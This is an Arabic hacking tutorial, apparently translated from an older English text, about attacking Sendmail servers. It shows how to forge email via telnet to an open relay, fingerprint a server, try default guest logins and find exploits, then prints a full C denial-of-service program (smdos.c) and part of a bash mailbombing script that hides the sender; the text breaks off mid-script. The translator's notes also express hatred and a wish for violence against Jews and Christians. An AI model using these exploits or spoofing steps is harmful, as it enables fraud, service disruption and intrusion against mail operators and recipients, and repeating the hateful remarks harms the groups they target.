بسم الله الرحمن الرحيم
حقوق الترجمه : لكل شهم يبي يبهذل اليهود والنصارى
ملاحظة: عندما ترى مصطلح صعب الفهم و يتبعه رقم معين فأنه يتم شرحه بالأسفل .
المحتويات /
1 - ماهو Sendmail ؟؟
2- - كيف تقوم بصنع رسائل مزيفةfake mails ولكن تبدو كأنها موثوقه ؟
3- -اختراق السيرفر ؟ من خلال الـ sendmail ؟!
4 - قواعد البيانات التي توفر اخر الثغرات
5- قائمه ممتازه لثغرات امنيه متعلقه بـ Sendmail
6-زاوية النيوبيز newbies (المبتدئين)
اللاحقات :
اللاحقة A : الديمون المزيف Fake Daemons
اللاحقة B: توجيه الايميل Routing Mail
اللاحقة C : تزييف عنوان الـ IP الخاص بك Faking your IP
- ماهو Sendmail ؟؟؟
هو ديمون(1) (daemon) ينتظر الأتصالات عن طريق المنفذ(2) (port) رقم 25
ويستخدم هذا الديمون في ارسال الرسائل الصادرة
مثال للتوضيح : غالبا ان مزود خدمة الايميل( قد يكون مزود خدمة الانترنت لديك ISP (Internet Service Provider)) الذي تتعامل معه
لديه خادمان ( two servers ) مالم يكن هذا المزود قائم على توفير خدمة الايميل عن طريق الشبكة العنكبوتية كموقع Hotmail.com
السيرفران هما :
1 ) mail.any-ISP.net ومنفذه على ما اعتقد 110 : وهو لإستقبال لرسائل الواردة
2 ) mailgw.any-ISP.net منفذه 25 : وهو لإرسال الرسائل الصادرة
لاحظ أنه اغلب السيرفرات تكون مثل هذه الشاكله ولكن العناوين تختلف بإختلاف مزودي خدمة الانترنت ISP .
ان السيرفر mail.any-ISP.net يحتاج الى اسم مستخدم وكلمة مرور لدخوله اذن لن يستطيع غيرك قرائة
ايميلاتك الخاصة وفي كل الاحوال ليس هذا السيرفر محور حديثنا .
بينما من المفاجئ عندما تسمع ان هذا السيرفر mailgw.any-ISP.net لا يحتاج الى كلمة مرور
اي انه ليس في حاجة الى اسم مستخدم وكلمة مرور خاصه .
فلو قمت بالدخول على السيرفرmailgw.any-ISP.net باستخدام telnet (19)عن طريق المنفذ 25
ثم كتبت بعض الأوامر الصحيحة فسوف يستجيب لك وهنا تستطيع ارسال رسائل مزيفة fake mails ممتع اليس كذلك؟
الآن اظرف مافي الوضع انك تستطيع التهكير على سيرفر يقوم بتشغيل ديمون Sendmail عندما يحمل
ثغرات امنية ..
- كيف تق#1608;م بصنع رسائل مزيفةfake mails ولكن تبدو كأنها موثوقه ؟
كما ذكر في القسم السابق ان ارسال الرسائل لا يحتاج منك ان تملك حساب على الآلة التي ترسل منها الايميل (اقصد سيرفر الرسائل الصادرة وليس جهازك الشخصي)
كل ما تحتاجه هو عنوان IP / hostname لسيرفر الايميلات الصادرة و أوامر ديمون Sendmail
لنفترض انك تعلم ماهو IP/hostname الهدف . اذا لم تستطيع معرفة هذه المعلومات المهمة ارجو منك
قرائة المقال رقم (11) في اسفل الدرس فهو يساعدك على ايجاده
لنبدأ شرح ماهو مهم وهو كيف تقوم بصنع رسائل مزيفة ؟!
هدفنا اليوم هو mailgw.someone.com والمنفذ 25 ومثل ما تعلم ان هذا هو سيرفر الرسائل الصادرة
أولا : لنقدم بدخول هذا السيرفر باستخدام telnet عن طريق البورت 25 وذلك بكتابة
telnet mailgw.someone.com 25
في محث كتابة الاوامر بنظام يونكس او بتشغيل تطبيق telnet المفضل لديك في الواجه الرسومية XWindows وإضافة الى معلوماتك
تستطيع تحميل تطبيق telnet المناسب لك عن طريق موقع www.linuxberg.com
اما اذا كان نظامك وندوز
قم بتشغيل C:\Windows\telnet.exe الموجود في نظام وندوز وكتابة
mailgw.someone.com في فراغ host و 25 في فراغ port
ملاحظة عن shell accounts حسابات الصدفة (21) : اذا لم يكن لديك نظام يونكس واردت العمل بأدوات يونكس
قم بالدخول على nether.net منفذ 23 بإستخدام التلنت وسجل بأسم مستخدم جديد newuser لتأخذ حساب
صدفة مجاني shell account ولمعلومية ان هذا الموقع nether.net يفيدك بعلومات جبارة عن اليونكس
عندما تقم بالتسجيل لديهم
ملاحظة عن استخدام التلنت في نظام ماكنتوش : ان نظام ماكنتوش Macintosh لا يحمل برنامج Telnet
ولكن تستطيع تحميله عن طريق هذا الموقع http://www.ncsa.uiuc.edu/SDG/Software/MacTelnet/
الان لنرى ماهو الناتج عن دخولنا لـmailgw.someone.com:25 باتخدام التلنت
سيظهر هذا الناتج :
220 alpha.someone.com ESMTP Sendmail 8.9.3/8.8.6; Thu, 8 Jul 1999 21:46:04 +0000 (GMT)
هذا الناتج يسمى daemon banner بانر الديمون (4), وهذا البانر يعطينا معلومات قيمة نحتاجها
وبشكل طبيعي هذي المعلومات معده لـ client program برنامج الزبون (16) لتحدد ما هي نسخة برنامج Sendmail
( لاحظ ان كل نسخه ل sendmail تكون اقل من 7.0.0 تستخدم اوامر مختلفة مثلا 'halb' بدلا من الامر 'blah' لاحظ ان الأمر الاول يكون عكس الامر الثاني)
الان لنقم بتحليل هذا البانر نقطة نقطة ..
220 رقم يبين نوع الرسالة التي تظهر وهذا لا نحتاجه
alpha.someone.com ايضا للأسف لا نستطيع الاستفاده من هذا العنوان حاليا
ESMTP .. لنقم بشرحه .. ان SMTP هو اختصار لـ Simple Mail Transfer Protocol وهذا يسمى protocol بروتوكول (18) تستخدمه email clients للإتصال
بديمون Sendmail . اما ESMTP فهو اختصار Extended SMTP وهو مثل SMTP ولكنه يحتوي على اوامر اكثر .
Sendmail 8.9.3/8.8.6 وهنا نجد رقم اصدار Sendmail Daemon تذكر اننا نحتاج هذه المعلومه في القسم الآتي ( تهكير السيرفرات التي تستخدم Sendmail )
اما باقي البانر فهو لا فائدة ترجى منه وهي ( الوقت والتاريخ وغيره )
كيف لنا ان نتعامل مع هذا الشي ؟؟؟؟
حسنا لنجرب كتابة الامر help (لاحظ انك لاتستطيع روؤية ما تكتبه في مكان الاوامر وهذا شي طبيعي ولكن
اذا اردت ان ترى ما تكتب فقم بتشغيل الخاصية "local echo" في برنامج التلنت )
وهذا ناتج كتابتك لأمر help :
214-This is Sendmail version 8.9.3
214-Topics:
214- HELO EHLO MAIL RCPT DATA
214- RSET NOOP QUIT HELP VRFY
214- EXPN VERB ETRN DSN
214-For more info use "HELP <topic>".
214-To report bugs in the implementation send email to
214- sendmail-bugs@sendmail.org.
214-For local information send email to Postmaster at your site.
214 End of HELP info
لاحظ ان 214 هو نوع رسالة المساعده HELP وان الرسائل مختلفة وكثيره وهي تأتي مثل :
هنالك خطأ بسبب هذا ، خطأ بسبب ذاك ، صفحة مساعده لهذا ورسالة تأكيدية لذاك الى اخره من الأوامر
اذن كل رسالة لها رقم معين .
حسنا لنستمر .. لنقم بكتابة ' help helo ' بدون علامات الاقتباس "
سيظهر لنا الآتي :
214-HELO <hostname>
214- Introduce yourself.
214 End of HELP info
لاحظ انه مثل ما قلت لك ان الرقم 214 هو رقم نوع رسالة المساعدة help message
اذن بهذه الطريقة تستطيع تقريبا معرفة ماهي وضائف كل امر من اوامر Sendmail بنفسك
قف الان واقرأ كل صفحات المساعده ثم قم بتكميل الدرس لأنه من المهم ان تتعلم الاكتشاف بنفسك
ملاحظة عن ESMTP : تذكر ESMTP التي مررنا بها في هذا الدرس سوف تكسب بعض المعلومات الممتازه عن ماهية esmtp عن طريق قرائتك لصفحا المساعده
نعم انني احاول اجبارك على قرائة هذه الصفحات لذلك ارجوك قم بذلك لأنها تحتوي على اطنان من المعلومات القوية وخاصة للمبتدئين
اذن لنفترض انك قرأت كل صفحات المساعده help pages . الان لنقم بتكملت الدرس ...
اولا نحتاج الى ادخال ايميل المرسل ونقوم بذلك بكتابة الامر التالي :
MAIL FROM: <fake Email address>
نقطة توضيح : fake mail address تعني عنوان الايميل المزيف
لنقل مثلا انك ترد ان تستخدم ايميل بيل قيتز اغني رجل في العالم
bgates@microsoft.com
بعد كتابت هذا الامر سيظهر سيرفر الايميل the mail server هذا المسج :
250 bgates@microsoft.com... Sender ok
ثانيا لنكتب هذا الامر
RCPT TO: <recipient>
بدل recipient بأيميل الهدف او المستقبل بمعنى اوضح
لنقل انه victim@victim.com
ثم بالتأكيد يظهر لنا هذا الناتج :
250 victim@victim.com... Recipient ok
تستطيع اضافة اكثر من ايميل ضحية وذلك بوضع فاصلة بين كل ايميل واخر
والآن لنقم بكتابة الرساله التي تود ارسالها ويتم ذلك بهذه الطريقة :
اكتب ' data ' بدون علامة الإقتباس ثم اضغط انتر وستظهر هذه الرساله
354 Enter mail, end with "." on a line by itself
وأبدأ كتابة الرساله وعند نهايتك من الرساله اكتب نقطه " . " في سطر لوحدها
والان لنقم بكتابة الرساله ..
اكتب
Subject: fake message ثم اضغط انتر وهذا هو عنوان الرساله
ثم Hello. This is a fake Email message. ثم اضغط انتر لتطمر سطر
ثم I'm bored. ثم اضغط انتر
ثم Gimme something to hack!! واضغط انتر
ثم اكتب نقطة لإنهاء الرساله
.
ثم سيظهر لنا الناتج التالي :
250 CAA15313 Message accepted for delivery
الان ستقول في نفسك اذا كنت (موسوس) :) ماذا يعني هذا الرقم الذي يأتي بعد 250
انه يا اخي العزيز رقم تعريف الرساله message ID مثل رقم الهوية الذي يوجد في بطاقتك او يسمى (MID)
انه رقم لا اقل ولا اكثر ولكننا سنحتاجه قريبا ولكن لا تقلق رأسك بهذا الرقم :)
الان لو انك المستقبل الضحية فسوف ترى رساله تبدو كأنها رساله حقيقية ولكنها في الواقع مزيفة . اليس كذلك؟
لنر ماذا سيستقبل الضحية في الظاهر ستكون مثل اي رساله اعتيادية ولكن على الاقل ليس المرسل هو نفس الشخص
لنقرأ الهيدرز headers ( اي رأس الرساله والتي يوجد بها عنوان المرسل والمستقبل والتاريخ والوقت وغيره من المعلومات الكثيره )
حاليا تظهر اكثر برامج البريد الاكتروني الهيدر الاعتيادي والذي يتكون غالبا من ( المرسل , العنوان , التاريخ والوقت ) ولكن الان نحتاج لرؤية الهيدر كاملا
اذا كنت تستخدم Netscape Messanger فأعرض الهيدر بشكل كامل عن طريق الذهاب الى View ==> Headers ==> All
اما برنامج Compuserve فإنه يعرضها بشكل تلقائي
ولكن اذا كنت تستخد برنامج Outlook فيتم ذلك بالضغط نقره يمين على الرساله في صندوق الوارد ثن اختيار خصائص properties ثم اختيار تفاصيل details
واضافة من عندي اذا كنت تستخدم برنامج IncrediMail Xe فيتم ذلك بالضغط نقره يمين على الرساله في صندوق الوارد ثن اختيار خصائص properties ثم اختيار تفاصيل details
بعد اظهارنا للهيدر الكامل سنرى شكل مقرب للآتي :
Received: from alpha.netvision.net.il (alpha.netvision.net.il [194.90.1.13]) by cmx.netvision.net.il (8.9.3/8.9.3) with ESMTP id CAA15313 for victim@victim.com>; Sat, 10 Jul 1999 02:49:59 +0300 (IDT)
From: bgates@microsoft.com
Received: from some.hostname.crap.com (some.hostname.crap.com [62.0.146.225]) by alpha.someone.com (8.9.3/8.8.6) with SMTP id CAA15313 for victim@victim.com; Sat, 10 Jul 1999 02:55:46 +0300 (IDT)
Date: Sat, 10 Jul 1999 02:55:46 +0300 (IDT)
Message-ID: <199907092355. CAA15313@alpha.someone.com>
X-Authentication-Warning: alpha.someone.com: some.hostname.crap.com [62.0.146.225] didn't use HELO protocol
Subject: Fake mail
Status:
X-Mozilla-Status: 8001
X-Mozilla-Status2: 00000000
X-UIDL: 3752da3b000002ff
ياهووووووه هلا والله ناظر كل هالارقام والحروف والأشياء اللي كنها تلمع.. :) لنحللها من الاعلى , اليس كذلك ؟
Received: from alpha.someone.com (alpha.someone.com [194.90.1.13]) by cmx.someone.com (8.9.3/8.9.3) with ESMTP id CAA16970 for >; Sat, 10 Jul 1999 02:49:59 +0000 (GMT)
اوكي الايميل وصلنا من alpha.someone.com (alpha.someone.com [194.90.1.13]). مامعنى هذا ؟
تشييكة سريعه على قاعده بيانات InterNIC انترنك (25) تبين لنا انها تابعه لـموقع ما someone.com
وذلك بكتابة الامر التالي ف نظام يونكس
whois alpha.someone.com
او بتحميل برنامج SamSpade لمستخدمين Windows من الموقع www.samspade.org
عموما باين ان المرسل ارسل الرساله من سيرفر فرعي sub-server
ان القسم (alpha.someone.com [194.90.1.13]) يبين لنا الهوستنيم والاي بي hostname و عنوان IP السيرفر الذي ارسلت منه الرساله
لحظة انتظر ! ألا يفترض ان تكون الرساله مرسله من microsoft.com ؟ أقصد ان المرسل هو bgates@microsoft.com !
ذلك لأننا ارسلنا الرساله من سيرفر اخر ليس لـ microsoft.com وهنا يتضح لنا اذا كانت الرساله مزيفة ام لا
على كلن الباقي يسمى MID (وقد تناولنا الحديث عنه) وأيضا تاريخ الرساله اي تاريخ الارسال . و +0000 (GMT) تعني ان الرساله ارسلت من منطقة قرنتش Greenwich time zone
وننتقل لسطر التالي
From: bgates@microsoft.com
على ما أعتقد ان هذا السطر وااااااضح جدا
Received: from some.hostname.crap.com (some.hostname.crap.com [62.0.146.225]) by alpha.someone.com (8.9.3/8.8.6) with SMTP id CAA15313 for victim@victim.com; Sat, 10 Jul 1999 02:55:46 +0300 (IDT)
اوكي وصلنا للقسم الاهم . الان نستطيع اخذ عنوان الآي بي والهوستنيم للمرسل
ملاحظه عن hostname : مستخدم dial-up الدايل أب (31) يمتلك هوستنيم طويل وغير ثابت مثلا :
الهوستنيم الذي املكه حاليا هو RAS4-p97.hfa.netvision.net.il . ان مزود خدمة الانترنت الذي اتعامل معه هو Netvision.net.il وباقي العنوان يسمى كلام زائد
ولكن لاحظ كلمة hfa فهي اختصار ل Haifa حيفا وهذي هي مدينتي (أخخخخخ يا القهر يهودي ومسوي ديرته ودك من ينتفه ببازوكا وهو طالع من البيت )
نرجع حق محور حديثنا ;)
ان الهوستنيم هذا يعني انني اتصل عن طريق سيرفر Netvision الموجود بحيفا . ارأيت قد يكون الهوست نيم ممتع
ملاحظه اخرى عن ال hostname : في بعض الاحيان قد لا تملك هوستنيم ولكن قد يكون بداله عنوان IP . اذا اردت معرفة هوستنيم الـ IP (أغلب الايبيات ليس لها هوستنيم ) يمكنك ذلك بإستخدام هذا الامر 'nslookup ip-address' بدون علامات الاقتباس في نظام يونكس او الذهاب الى موقع http://www.samspade.org
واستخدام ادوات DNS(17) Lookup . وان لم تزل عاجزا من معرفه ماهو الهوستنيم قم بعملية whois .
على كل حال فإن الحروف الباقيه القليلة تمثل MID (Message ID),
اذا كنت تعتقد ان هنالك شخص ما يحاول خداعك بأنه شخص اخر قم بإرسال رساله الى abuse@your.ISP.com ( اي ايميل المرسول من مزودك لخدمة الانترنت) او abuse@the.server.who.stores.the.MID.com (اي الايميل الذي يوجد على السيرفر الذي يخزن معلومات عن الـMID )
اذا كنت تريد معرفة اي سيرفر يقوم بتخزين الـ MID سنحتاج الى اهمال بعض السطور (سطرين - الوقت والتاريخ) وتذهب على طول الى هذا :
Message-ID: <199907092355. CAA15313@alpha.someone.com>
انظر الى هذه الارقام المهمه وتفحص هذا : CAA15313@alpha.someone.com! هذا يعني ان كل المعلومات المتعلقة بـ MID مخزنه في alpha.someone.com!
لنرسل ايميل الى abuse@alpha.someone.com لنقول لهم اننا استقبالنا رسالة مزيفة وادرج في الرساله كل الهيدر header .
الشي الثاني سنفعل نفس الشي مع ISP المرسل ( في حالتنا , المرسل هو some.hostname.crap.com [62.0.146.225], وهذا يعني ان ISP الذي يتعامل معه هو crap.com )
الان في السطر التالي :
X-Authentication-Warning: alpha.someone.com: some.hostname.crap.com [62.0.146.225] didn't use HELO protocol
هذه المره سنكتب HELO microsoft.com في البداية
HELO microsoft.com
سنتظر لنا النتيجه التالية :
250 mailgw1.netvision.net.il Hello some.hostname.crap.com [62.0.146.225], pleased to meet you
الباقي بالطبع مثل المره السابقة ( المرسل sender , المستقبل rcpt to الخ ..)
.........
الان انتهينا من الفصل الاول من هذا الدرس اتمنى انكم استمتعتم به فقد تعلمتم كيف تعملون خدع غير ضاره وقانونية على اصدقائكم وكيف تكتبون رسائل مزيفة وكيف انه من السهل القبض عليك اذا عملت بعض الاشياء الغير قانونية
ولكن هنالك طريقة لإخفاء IP/hostname التابع لك عندما ترسل رسالة مزيفة لمعلومات اكثر اقرأ الفصل الثاني في قسم
" حسنا , استطيع اختراق مستضيف ما يقوم بتشغيل Sendmail . كيف لي ان افعل ذلك؟ "
اختراق السيرفر ؟ من خلال الـ sendmail ؟!
----------------------------
نعم اكيد ليش لأ ؟؟ اقصد ان كل خدمه يسهل مهجمتها اذا كانت تملك نقاط ضعف . وهذا هو السبب الذي يجعل الافضلية لتقليل الخدمات لأقصى حد ممكن في جهازك .
ولكن الخدمه الاكثر تعرضا للهجوم هي خدمة Sendmail اذن تشغيل خدمه السندميل في جهازك غير ضرورية وخطيره . اذا كان جهازك لا يمثل كسيرفر ايميل فإنه لا يوجد سبب
يجعلك تستخدم خدمه Sendmail الا اذا اردت ان تمكن الناس من ارسال رساله لك على هذا الايميل your-account@your.IP.address بدلا من هذا الايميل account@your.ISP.com
ملاحظه عن عن حساب ايميلك : في عنوان ايميلك الاول سيكون your-account هو اسم اليوزر نيم لجهازك الشخصي اما الايميل الثاني فيكون اسم اليوزر نيم لأشتراكك بالأنترنت
اوكي , اول شي ينبغي علينا القيام به لأجل اختراق سيرفر ما عن طريق خدمه معينه هي معرفة رقم اصدار هذه الخدمه . ويتم ذلك ببساطه عن طريق بانر الديمون (4) daemon banner .لنفترض اننا عرفنا اصدار خدمه الـ SENDMAIL وهي 8.8.3 التي يقوم بتشغيلها سيرفر ما
ثاني شي علينا تحديد نظام التشغيل OS الذي يعمل عليه هذا الديمون . اذا لم يخبرك بانر الـsendmail فسيقوم بذلك ديمون الـتلنت (19) telnet .
قم بتشغيل التلنت واكتب السيرفر والبورت 23 وقم بتحريك اصابعك على الكيبورد فإذا تجاوب معك فقد يكون هو ديمون التلنت وعندها سيعطيك نوع نظام التشغيل واذا لم تستطع قم بالتالي :
1 - قم بالدخول على السيرفر بإستخدام حساب الضيف guest account ( اسم المستخدم : guest الرقم السري : guest او اسم المستخدم : newuser , الباسوورد : newuser )
2 - او عن طريق سؤالك لمدير الموقع عن ماهية نظام التشغيل
3 - او الدخول الى موقع الهدف فقد يكون لدية معلومه تبين نظام التشغيل الذي يستخدم
4 - عن طريق موقع netcraft الذي يبين مواصفات السيرفر بالكامل
ثم قم بتصفح بعض قواعد البيانات التي توفر اخر الثغرات المكتشفه عن ما تريد , في البداية سأقوم بشرح افضل واكبر قواعد البيانات الموجوده في الشبكه الأنترنتيه
وسوف ابين لك تقوم بالبحث في هذه المواقع زائدا بعض المفاهيم والكلمات القيمه
موقع Packet Storm Security
----------------------
العنوان : http://packetstormsecurity.com
واحد من اكبر قواعد البيانات التي تحمل كعلومات متعلقة بالأمن
انا افضل الذهاب الى هذا الموقع مره في اليوم لقراءة قسم 'New Files Today' سواءا للبحث عن ثغرات معينه او لأ.
اوجد الارشيف عن طريق Ken Williams حيث ان هذا الموقع يستهلك مئات الالوف من النقرات كل اسبوع
حاليا انتقلت ملكيته الى مالك Kroll-O-Nagra (www.securify.com).
موقع Security Focus
----------------
العنوان : http://www.securityfocus.com
قاعدة بيانات اخرى كاملة . تتحدث يوميا فهؤلاء الشباب القائمون على هذا الموقع لا ينامون ابدا !
BugTraq
--------
العنوان : مستضيفه موقع Security Focus (http://www.securityfocus.com), وسابقا كان مستضيفة Netspace (http://www.netspace.org).
BugTraq واحدة من افضل قائمة المراسلات البريدية mailing list التي تتهتم بالامن الالكتروني
هذه القائمة يقوم عليها رئيس اسمه Aleph1 (aleph1@underground.org). يستقبل الرسائل التي ترسلها ( عن ثغرة معينه مثلا ) ويقوم بتحليلها وتنضيفها من الspams والرسائل التي ليس لها فائدة او الثغرات القديمة ثم يقوم بإرسال الرساله الممتازه فقط الى جميع المشتركين في القائمة
انصحك بالتسجيل http://www.securityfocus.com
تستطيع ايضا البحث في ارشيفاتها التي تعتبر لدي من افضل قواعد البيانات وذلك عن طريق دخول الموقع ثم البحث عن رابط 'search'
البحث Searching
------------
اذا كنت تريد البحث عن ثغرة متعلقة بخدمه معينة مثلا Sendmail 8.8.3 فستحتاج لكتابت 'sendmail 8.8.3' واذا اردت البحث عن ثغره معينه مثلا هجوم حجب الخدمه local DoS ضد اي نسخه من sendmail
فما عليك الا كتابت التالي : 'local DoS sendmail' بدون علامات الاقتباس
البحث في Packet Storm
-----------------
وذلك عن طريق مربع البحث الموجود غالبا في الصحفه الاولى من الموقع . يمكنك تقسيم نتايج البحث الى قسمين : برامج او نصوص texts
مثلا : قمت ببحث عن ثغره معينه ثم تظهر لك نتيجه من مجموعه من النصوص او مجموعه من البرامج فإن النصوص تشرح لك استغلال ثغره معينه وتشرحها لك بينما تستخدم البرامج الثغرات للدخول
غالبا البرامج تسمى " exploits " وتأتي على انها مصدر شفرات بدلا من ان تكون ملف binary ( ان ملف binary هو كل ملف ليس text , غالبا الملفات التنفيذية هي ملفات binary )
الان في هذه الحاله تكون البرنامج كمصدر شفرة وهذا المصدر شبيه بملف text وبه مجموعه من الاوامر فعندما تقوم بترجمت هذا الملف بأستخدام المترجم compiler فإن مصدر الشفره سيتحول الى ملف binary تنفيذي
ماعدا مصدر الشفره المكتوبه بلغة البرمجه Perl لأنها لا تحتاج الى مترجم
عموما هذه المصادر لشفرات البرامج تفهمك طريقة عمل البرنامج بدلا من العمل به كالأعمى
البحث في Packet Storm
-----------------
هذا الموقع يوفر المعلومات بطريقة مرتبه بحيث يعرف هذه الثغره وأين ومتى يجب ان تستغل هذه الثغره وكيفية حل هذه الثغره
حسنا , استطيع اختراق مستضيف ما يقوم بتشغيل Sendmail . كيف لي ان افعل ذلك؟
---------------------------------------------------
اليكم قائمه ممتازه لثغرات امنيه متعلقه بـ Sendmail
أولا : هجوم حجب الخدمه (29) local DoS لجميع نسخ Sendmail حتى نسخة 8.9.3 (مأخوذه من packet strom )
Date: Sat, 3 Apr 1999 00:42:56 +0200
From: "[iso-8859-2] Micha³ Szymaٌski" <siwa9@BOX43.GNET.PL>
To: BUGTRAQ@netspace.org
Subject: Re: Possible local DoS in sendmail
Hi folks,
This local queue filling DoS attack in sendmail is quite dangerous. But good
security policy (like mine) will prevent attackers from doing such things.
Control files (in /var/spool/mqueue) created by 'sendmail -t' are owned by
root.attacker's_group; turn on quotas for group 'attacker's_group' on the
file system containing /var/spool/mqueue directory, and your host will be not
vulnerable; but you _have to_ configure your sendmail as _nosuid_ daemon;
Much more dangerous are remote queue filling DoS attacks. If you have enabled
relaying, you can use shown below smdos.c proggie; it will quite fast fullfill
partition on disk where /var/spool/mqueue resides. you should notice increased
LA during attack; in contrast to local DoS attacks, control files created by
smdos.c are owned by root.root, so ... it's much more difficult to prevent
offenders from doing it;
don't forget to change BSIZE definition (in smdos.c) to appropriate victim's
host message size limitation (MaxMessageSize option); you can also increase
MAXCONN definition.
smdos.c:
--- CUT HERE ---
/*
By Michal Szymanski <siwa9@box43.gnet.pl>
Sendmail DoS (up to 8.9.3);
Sat Apr 3 00:12:31 CEST 1999
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
#undef VERBOSE /* define it, if MORECONN is undefined */
#define MORECONN
// #define RCPT_TO "foo@ftp.onet.pl"
#define RCPT_TO "foo@10.255.255.255"
#ifdef MORECONN
#define MAXCONN 5
#endif
#define BSIZE 1048576 /* df* control file size */
#define PORT 25
char buffer[BSIZE];
int sockfd,x,loop,chpid;
void usage(char *fname) {
fprintf(stderr,"Usage: %s <victim_host>\n",fname);
exit(1);
}
void say(char *what) {
if (write(sockfd,what,strlen(what))<0) {
perror("write()");
exit(errno);
}
#ifdef VERBOSE
fprintf(stderr,"<%s",what);
#endif
bzero(buffer,BSIZE);
usleep(1000);
if (read(sockfd,buffer,BSIZE)<0) {
perror("read()");
exit(errno);
}
#ifdef VERBOSE
fprintf(stderr,buffer);
#endif
}
int main(int argc,char *argv[]) {
struct sockaddr_in serv_addr;
struct hostent *host;
char *hostname,hostaddr[20];
fprintf(stderr,"Sendmail DoS (up to 8.9.3) by siwa9 [siwa9@box43.gnet.pl]\n");
if (argc<2) usage(argv[0]);
#ifdef VERBOSE
fprintf(stderr,">Preparing address. \n");
#endif
hostname=argv[1];
serv_addr.sin_port=htons(PORT);
serv_addr.sin_family=AF_INET;
if ((serv_addr.sin_addr.s_addr=inet_addr(hostname))==-1) {
#ifdef VERBOSE
fprintf(stderr,">Getting info from DNS.\n");
#endif
if ((host=gethostbyname(hostname))==NULL) {
herror("gethostbyname()");
exit(h_errno);
}
serv_addr.sin_family=host->h_addrtype;
bcopy(host->h_addr,(char *)&serv_addr.sin_addr,host->h_length);
#ifdef VERBOSE
fprintf(stderr,">Official name of host: %s\n",host->h_name);
#endif
hostname=host->h_name;
sprintf(hostaddr,"%d.%d.%d.%d",(unsigned char)host->h_addr[0],
(unsigned char)host->h_addr[1],
(unsigned char)host->h_addr[2],
(unsigned char)host->h_addr[3]);
}
else sprintf(hostaddr,"%s",hostname);
#ifdef MORECONN
for (;loop #endif
for(;;) {
bzero(&(serv_addr.sin_zero),8);
if ((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) {
perror("socket()");
exit(errno);
}
if ((connect(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr))) == -1) {
perror("connect()");
exit(errno);
}
#ifdef VERBOSE
fprintf(stderr,">Connected to [%s:%d].\n",hostname,PORT);
#endif
bzero(buffer,BSIZE);read(sockfd,buffer,BSIZE);
#ifdef VERBOSE
fprintf(stderr,buffer);
#else
fprintf(stderr,".");
#endif
say("helo foo\n");
say("mail from:root@localhost\n");
say("rcpt to:" RCPT_TO "\n");
say("data\n");
for (x=0;x<=BSIZE;x++) buffer[x]='X';write(sockfd,buffer,BSIZE);
say("\n.\n");
sleep(1);
say("quit\n");
shutdown(sockfd,2);
close(sockfd);
#ifdef VERBOSE
fprintf(stderr,">Connection closed succesfully.\n");
#endif
}
#ifdef MORECONN
}
waitpid(chpid,NULL,0);
#endif
return 0;
}
--- CUT HERE ---
ثانيا : ثغره في امر HELO في Sendmail ( مأخوذه من rootshell.com )
-------------------------------------------------
ملاحظه : هذه الثغره تقوم بإخفاء عناوين الايبي والهوستنيم عندما ترسل رساله مزيفه
-----Original Message-----
From: Micha³ Zalewski <lcamtuf@boss.staszic.waw.pl>
To: info@rootshell.com <info@rootshell.com>
Date: 10 stycznia 1998 12:28
Subject: Sendmail 8.8.8 (qmail?) HELO hole.
Here's a brief description of Sendmail (qmail) hole I found
recently:
When someone mailbombs you, or tries to send fakemail, spam, etc -
sendmail normally attachs sender's host name and it's address
to outgoing message:
--
>From spam@flooders.net Mon Jan 5 22:08:21 1998
Received: from spammer (marc@math.university.edu [150.129.84.5])
by myhost.com (8.8.8/8.8.8) with SMTP id WAA00376
for lcamtuf; Mon, 5 Jan 1998 22:07:54 +0100
Date: Mon, 5 Jan 1998 22:07:54 +0100
From: spam@flooders.net
Message-Id: <3.14159665@pi>
MAILBOOM!!!
--
That's perfect - now you know, who is responsible for that annoying
junk in your mailbox: "Received: from spammer (marc@math.university.edu
[150.129.84.5])". Nothing easier...
But I found a small hole, which allows user to hide it's personality,
and send mails anonymously. The only thing you should do is to
pass HELO string longer than approx. 1024 B - sender's location and
other very useful information will be cropped!!! Message
headers should become not interesting. Sometimes, sender
may become quite untraceable (but not always, if it's possible
to obtain logs from machine which has been used to sent):
--
>From spam@flooders.net Mon Jan 5 22:09:05 1998
Received: from xxxxxxxxxxxxxx... [a lot of 'x's] ...xxxx
Date: Mon, 5 Jan 1998 22:08:52 +0100
From: spam@flooders.net
Message-Id: <3.14159665@pi>
MAILBOOM!!! Now guess who am I...
--
Here's a simple example of Sendmail's HELO hole usage. Note, this
script has been written ONLY to show how easy may be sending
fakemails, mailbombs, with cooperation of Sendmail ;) Script is
very slow and restricted in many ways, but explains the problem
well (note, some of non-Berkeley daemons are also affected,
probably Qmail?):
-- EXPLOIT CODE --
#!/bin/bash
TMPDIR=/tmp/`whoami`
PLIK=$TMPDIR/.safe
TIMEOUT=2
LIMIT=10
MAX=20
echo
echo "SafeBomb 1.02b -- sendmail HELO hole usage example"
echo "Author: Michal Zalewski <lcamtuf@boss.staszic.waw.pl>"
echo
if [ "$4" = "" ]; then
echo "USAGE: $0 msgfile address server sender"
echo
echo " msgfile - file to send as a message body"
echo " address - address of lucky recipient"
echo " server - outgoing smtp server w/sendmail"
echo " sender - introduce yourself"
echo
echo "WARNING: For educational use ONLY. Mailbombing is illegal."
echo "Think twice BEFORE you use this program in any way. Also,"
echo "I've never said this program is 100% safe nor bug-free."
echo
sleep 1
exit 0
fi
if [ ! -f $1 ]; then
echo "Message file not found."
echo
exit 0
fi
echo -n "Preparing message..."
mkdir $TMPDIR &>/dev/null
chmod 700 $TMPDIR
echo "echo \"helo _safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__
safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__
safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__
safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__
safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__
safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__
safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__
safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__
safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__
safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__
